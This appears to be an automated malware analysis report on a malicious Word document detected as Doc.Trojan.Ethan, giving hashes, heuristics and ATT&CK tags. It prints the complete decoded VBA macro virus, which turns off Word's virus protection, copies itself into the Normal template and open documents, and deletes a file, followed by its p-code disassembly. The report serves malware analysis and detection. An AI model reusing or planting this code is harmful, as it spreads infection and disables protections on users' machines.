Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3aba008738a5053…

MALICIOUS

Office (OLE)

63.5 KB Created: 1999-10-18 19:36:00 Authoring application: Microsoft Word 8.0 First seen: 2017-03-27
MD5: da5ec96289f32c2eda7ef7089b73aadd SHA-1: d37170678ac1a50539e3f9462d86116907cc9dcf SHA-256: a3aba008738a5053c87e8f87833112ef3cf34aad28d5b0ef3d8d755d520d78f5
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The macro attempts to write its own code to 'c:\ethan.___' and then potentially re-injects it. This behavior suggests an attempt to establish persistence or maintain execution. The presence of the Equation Editor OLE object and the ClamAV detections further support its malicious nature.

Heuristics 3

  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Contains Equation Editor object — related to CVE-2017-11882 / CVE-2018-0802 exploitation, but CLSID presence alone is not the malformed MTEF exploit primitive.
  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6213 bytes
SHA-256: dfa611043514ead97e4fb0dfe377913bf22abee45f589cb417c3283a9be9a42e
Detection
ClamAV: Doc.Trojan.Ethan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub

' Processing file: /opt/analyzer/scan_staging/01e7f38590e342a4b995c94337f1be8e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3301 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	ArgsCall Read 0x0000 
' Line #6:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #9:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #10:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #11:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #12:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #13:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	IfBlock 
' Line #17:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #18:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	ElseIfBlock 
' Line #19:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #20:
' 	ElseBlock 
' Line #21:
' 	LitStr 0x0000 ""
' 	St t 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Ld t 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #24:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #25:
' 	LitDI2 0x0001 
' 	ArgsLd LOF 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo q 
' 	EndIf 
' Line #26:
' 	LitDI2 0x0001 
' 	St i 
' Line #27:
' 	LitDI2 0x0001 
' 	ArgsLd EOF 0x0001 
' 	Not 
' 	DoWhile 
' Line #28:
' 	LitDI2 0x0001 
' 	Ld a 
' 	LineInput 
' Line #29:
' 	Ld i 
' 	Ld a 
' 	Ld t 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #30:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Add 
' 	St i 
' Line #31:
' 	Loop 
' Line #32:
' 	Label q 
' Line #33:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #34:
' 	Ld Rnd 
' 	LitR8 0x3333 0x3333 0x3333 0x3FD3 
' 	Lt 
' 	If 
' 	BoSImplicit 
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' 	BoS 0x0000 
' 	LitStr 0x000B "Ethan Frome"
' 	MemStWith Title 
' 	BoS 0x0000 
' 	LitStr 0x0008 "EW/LN/CB"
' 	MemStWith Author 
' 	BoS 0x0000 
' 	LitStr 0x0005 "Ethan"
' 	MemStWith Keywords 
' 	BoS 0x0000 
' 	ArgsMemCallWith Execute 0x0000 
' 	BoS 0x0000 
' 	EndWith 
' 	EndIf 
' Line #35:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	Ld s 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld s 
' 	Ld ActiveDocument 
' 	MemSt Saved 
' 	EndIf 
' Line #38:
' 	EndSub

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